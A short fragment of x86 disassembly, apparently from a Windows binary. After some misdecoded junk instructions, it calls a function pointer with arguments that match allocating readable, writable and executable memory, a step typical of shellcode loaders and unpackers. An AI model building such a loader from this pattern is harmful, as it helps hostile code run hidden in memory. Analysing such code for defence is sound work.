jg 0x6e20297d
jbe 0x6e2029b3
std
out 2, eax
invalid
nop
jmp 0x6e204146
nop
mov eax, dword [0x6e93d00c]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov edx, dword [ebp - 0x74]
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
mov dword [0x6e93d024], eax
nop
mov ebx, dword [ebp - 4]
leave
ret